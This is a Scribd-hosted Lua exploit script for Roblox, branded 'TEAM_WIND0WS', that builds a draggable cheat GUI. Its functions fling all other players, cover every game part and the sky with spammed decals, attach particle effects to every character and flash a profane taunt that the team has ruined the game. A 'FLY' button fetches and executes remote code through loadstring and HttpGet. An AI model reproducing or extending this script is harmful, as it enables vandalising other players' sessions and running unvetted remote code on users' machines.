0% found this document useful (0 votes)
90 views3 pages

Ze XDRBHZ

The document outlines a Lua script for creating a GUI in a game, allowing players to perform various actions like 'FLING ALL', 'WINDOWSIFY', and 'DECAL SPAM'. It includes functions for playing sounds, displaying messages, and manipulating game elements such as decals and particles. The GUI is draggable and consists of multiple panels with buttons for user interaction.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
90 views3 pages

Ze XDRBHZ

The document outlines a Lua script for creating a GUI in a game, allowing players to perform various actions like 'FLING ALL', 'WINDOWSIFY', and 'DECAL SPAM'. It includes functions for playing sounds, displaying messages, and manipulating game elements such as decals and particles. The GUI is draggable and consists of multiple panels with buttons for user interaction.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

local gui = Instance.

new("ScreenGui",
game.Players.LocalPlayer:WaitForChild("PlayerGui"))
gui.Name = "WINDOWSGUI"
gui.ResetOnSpawn = false

local main = Instance.new("Frame", gui)


main.Size = UDim2.new(0, 600, 0, 400)
main.Position = UDim2.new(0.2, 0, 0.2, 0)
main.BackgroundTransparency = 1
main.Active = true
main.Draggable = true

local clickSound = Instance.new("Sound", gui)


clickSound.SoundId = "rbxassetid://428495297"
clickSound.Volume = 1

local function playClick() clickSound:Play() end

local function makePanel(color, pos, size)


local f = Instance.new("Frame", main)
f.BackgroundColor3 = color
f.Position = UDim2.new(0, pos.X, 0, pos.Y)
f.Size = UDim2.new(0, size.X, 0, size.Y)
return f
end

local function makeBtn(parent, txt, y, func)


local b = Instance.new("TextButton", parent)
b.BackgroundColor3 = Color3.new(0, 0, 0)
b.TextColor3 = Color3.new(1, 1, 1)
b.Font = Enum.Font.SourceSansBold
b.Text = txt
b.TextSize = 18
b.Position = UDim2.new(0, 5, 0, y)
b.Size = UDim2.new(0, parent.Size.X.Offset - 10, 0, 30)
b.BorderSizePixel = 0
b.MouseButton1Click:Connect(function()
playClick()
if func then func() end
end)
return b
end

local function spamDecals()


local decalId = "rbxassetid://125173151807057"
for _, p in ipairs(workspace:GetDescendants()) do
if p:IsA("BasePart") then
for _, f in ipairs(Enum.NormalId:GetEnumItems()) do
local d = Instance.new("Decal", p)
d.Texture = decalId
d.Face = f
end
end
end
end

local function showMsg()


local t = Instance.new("TextLabel", gui)
t.Size = UDim2.new(1, 0, 0, 100)
t.Position = UDim2.new(0, 0, 0.45, 0)
t.BackgroundTransparency = 1
t.TextColor3 = Color3.fromRGB(255, 0, 0)
t.TextStrokeTransparency = 0.5
t.Font = Enum.Font.SourceSansBold
t.TextSize = 48
t.Text = "TEAM_WIND0WS HAS FUCKED THIS GAME"
t.ZIndex = 999999
wait(3)
t:Destroy()
end

local function windowsify()


local decal = "rbxassetid://125173151807057"
local soundId = "rbxassetid://139488665764275"

for _, p in ipairs(workspace:GetDescendants()) do
if p:IsA("BasePart") then
for _, f in ipairs(Enum.NormalId:GetEnumItems()) do
local d = Instance.new("Decal", p)
d.Texture = decal
d.Face = f
end
end
end

for _, s in pairs(game:GetService("Lighting"):GetChildren()) do
if s:IsA("Sky") then s:Destroy() end
end

local sky = Instance.new("Sky", game:GetService("Lighting"))


sky.SkyboxBk = decal
sky.SkyboxDn = decal
sky.SkyboxFt = decal
sky.SkyboxLf = decal
sky.SkyboxRt = decal
sky.SkyboxUp = decal

local music = Instance.new("Sound", gui)


music.SoundId = soundId
music.Volume = 2
music:Play()

for _, plr in pairs(game.Players:GetPlayers()) do


local c = plr.Character
if c then
for _, p in pairs(c:GetDescendants()) do
if p:IsA("BasePart") then
local part = Instance.new("ParticleEmitter", p)
part.Texture = decal
part.Rate = 100
part.Lifetime = NumberRange.new(1, 2)
part.Speed = NumberRange.new(2, 6)
part.Size = NumberSequence.new(1.5)
part.LightEmission = 1
part.VelocitySpread = 360
part.LockedToPart = true
end
end
end
end
end

local function flingAllOnce()


local lp = game.Players.LocalPlayer
local char = lp.Character
if not char then return end
local root = char:FindFirstChild("HumanoidRootPart")
if not root then return end

local function fling(targetHRP)


local bv = Instance.new("BodyVelocity")
bv.Velocity = (targetHRP.Position - root.Position).Unit * 1000
bv.MaxForce = Vector3.new(1e9, 1e9, 1e9)
bv.Parent = root
game.Debris:AddItem(bv, 0.2)
end

for _, plr in pairs(game.Players:GetPlayers()) do


if plr ~= lp and plr.Character and
plr.Character:FindFirstChild("HumanoidRootPart") then
fling(plr.Character.HumanoidRootPart)
end
end
end

-- GUI Layout (inside draggable frame)


local red = makePanel(Color3.fromRGB(255, 0, 0), Vector2.new(0, 0),
Vector2.new(300, 200))
local title = Instance.new("TextLabel", red)
title.Text = "TEAM_WIND0WS"
title.TextColor3 = Color3.new(0, 0, 0)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSans
title.TextSize = 22
title.Position = UDim2.new(0, 5, 0, 5)
title.Size = UDim2.new(1, -10, 0, 25)

makeBtn(red, "FLING ALL", 40, flingAllOnce)


makeBtn(red, "WINDOWSIFY", 80, windowsify)

local green = makePanel(Color3.fromRGB(0, 170, 0), Vector2.new(300, 0),


Vector2.new(300, 200))
makeBtn(green, "FLY", 40, function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/
main/FlyGuiV3.txt"))()
end)
makeBtn(green, "PLAY MUSIC", 80)

makePanel(Color3.fromRGB(0, 0, 255), Vector2.new(0, 200), Vector2.new(300, 200))

local yellow = makePanel(Color3.fromRGB(255, 221, 51), Vector2.new(300, 200),


Vector2.new(300, 200))
makeBtn(yellow, "DECAL SPAM", 60, spamDecals)
makeBtn(yellow, "MESSAGE", 100, showMsg)

You might also like